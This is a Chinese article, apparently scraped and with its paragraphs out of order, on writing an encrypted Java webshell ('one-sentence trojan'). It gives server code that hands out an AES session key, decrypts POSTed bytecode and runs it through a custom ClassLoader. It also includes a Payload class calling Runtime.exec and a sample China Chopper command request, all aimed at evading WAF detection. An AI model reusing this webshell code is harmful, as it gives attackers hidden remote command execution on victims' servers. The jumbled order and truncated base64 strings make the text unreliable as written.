当前位置:
文档之家› 利用动态二进制加密实现新型一句话木马之Java篇
利用动态二进制加密实现新型一句话木马之Java篇
main函数中classStr变量为上述Payload.class文件二进制流的base64编码。 新建一个Myloader的实例,将classStr解码为二进制字节流,并传入Myloader实例的get方法,得到一个Class类型的实例 result,此时result即为Payload.class(注意此处的Payload.class不是上文的那个二进制文件,而是Payload这个类的class属 性)。 调用result类的默认无参构造器newInstance()生成一个Payload类的实例,然后调用该实例的toString方法,继而执行 toString方法中的代码:Runtime.getRuntime().exec("calc.exe");return “OK” 在控制台打印出toString方法的返回值。
public class Demo { public static class Myloader extends ClassLoader //继承ClassLoader { public Class get(byte[] b) { return super.defineClass(b, 0, b.length); } } public static void main(String[] args) throws Exception { // TODO Auto-generated method stub String
理论篇
为什么会被拦截
在讨论怎么绕过之前,先分析一下我们的一句话客户端发送的请求会被拦截? 我们以菜刀为例,来看一下payload的特征,如下为aspx的命令执行的payload:
Payload如下: caidao=Response.Write("->|"); var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1M {Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D 可以看到,虽然关键的代码采用了base64编码,但是payload中扔有多个明显的特征,比如有eval关键词,有 Convert.FromBase64String,有三个参数,参数名为caidao(密码字段)、z1、z2,参数值有base64编码。针对这些特征很容易写出对 应的防护规则,比如:POST请求中有Convert.FromBase64String关键字,有z1和z2参数,z1参数值为4个字符,z2参数值为base64编 码字符。
OK,代码解释完了,下面尝试执行Demo类,成功弹出计算器,并打印出“OK”字符串,如下图:
到此,我们就可以直接动态解析并执行编译好的class字节流了。 2.生成密钥: 首先检测请求方式,如果是带了密码字段的GET请求,则随机产生一个128位的密钥,并将密钥写进Session中,然后通过response发送给 客户端,代码如下: if (request.getMethod().equalsIgnoreCase("get")) {
因为该方法是protected的,我们没办法在外部直接调用,当然我们可以通过反射来修改保护属性,不过我们选择一个更方便的方法,直 接自定义一个类继承classloader,然后在子类中调用父类的defineClass方法。
下面我们写个demo来测试一下: package net.rebeyond; import sun.misc.BASE64Decoder;
String k = UUID.randomUUID().toString().replace("-","").substring(0, 16); request.getSession().setAttribute("uid", k); out.println(k); return; } 这样,后续发送payload的时候只需要发送加密后的二进制流,无需发送密钥即可在服务端解密,这时候waf捕捉到的只是一堆毫无意义的 二进制数据流。 3.解密数据,执行: 当客户端请求方式为POST时,服务器先从request中取出加密过的二进制数据(base64格式),代码如下: Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES")); new Myloader().get(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().toString(); 4.改进一下 前面提到,我们是通过重写Object类的toString方法来作为我们的Payload执行入口,这样的好处是我们可以取到Payload的返回值并输 出到页面,但是缺点也很明显:在toString方法内部没办法访问Request、Response、Seesion等servlet相关对象。所以需要找一个带有 入参的方法,并且能把Request、Response、Seesion等servlet相关对象传递进去。 重新翻看了一下Object类的方法列表:
前言
一句话木马是一般是指一段短小精悍的恶意代码,这段代码可以用作一个代理来执行攻击者发送过来的任意指令,因其体积小、隐蔽性 强、功能强大等特点,被广泛应用于渗透过程中。最初的一句话木马真的只有一句话,比如eval(request(“cmd”)),后续为了躲避查 杀,出现了很多变形。无论怎么变形,其本质都是用有限的尽可能少的字节数,来实现无限的可任意扩展的功能。
概述
本系列文章重写了java、.net、php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工 具。从而一劳永逸的绕过WAF或者其他网络防火墙的检测。 本来是想把这三个版本写在一篇文章里,过程中发现篇幅太大,所以分成了四篇,分别是: 利用动态二进制加密实现新型一句话木马之Java篇 利用动态二进制加密实现新型一句话木马之.net篇 利用动态二进制加密实现新型一句话木马之php篇 利用动态二进制加密实现新型一句话木马之客户端下载及功能介绍
classStr="yv66vgAAADQAKAcAAgEAFW5ldC9yZWJleW9uZC9SZWJleW9uZAcABAEAEGphdmEvbGFuZy9PYmplY3QBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADAAkMAAUABgEAD
BASE64Decoder code=new sun.misc.BASE64Decoder(); Class result=new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数 System.out.println(result.newInstance().toString()); } } 上面代码中的classStr变量的值就是如下这个类编译之后的class文件的base64编码: package net.rebeyond; import java.io.IOException;
实现篇
服务端实现
想要直接解析已经编译好的二进制字节流,实现我们的绕过思路,现有的Java一句话木马无法满足我们的需求,因此我们首先需要打造一 个新型一句话木马: 1. 服务器端动态解析二进制class文件: 首先要让服务端有动态地将字节流解析成Class的能力,这是基础。 正常情况下,Java并没有提供直接解析class字节数组的接口。不过classloader内部实现了一个protected的defineClass方法,可以将 byte[]直接转换为Class,方法原型如下:
public class Payload { @Override public String toString() { // TODO Auto-generated method stub try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } return "OK"; }
} 简单解释一下上述代码:
首先自定义一个类Myloader,并继承classloader父类,然后自定义一个名为get的方法,该方法接收byte数组类型的参数,然 后调用父类的defineClass方法去解析byte数据,并返回解析后的Class。
单独编写一个Payload类,并实现toString方法。因为我们想要我们的服务端尽可能的短小精悍,所以我们定义的Payload类即 为默认的Object的子类,没有额外定义其他方法,因此只能借用Object类的几个默认方法,由于我们执行payload之后还要拿到执 行结果,所以我们选择可以返回String类型的toString方法。把这个类编译成Payload.class文件。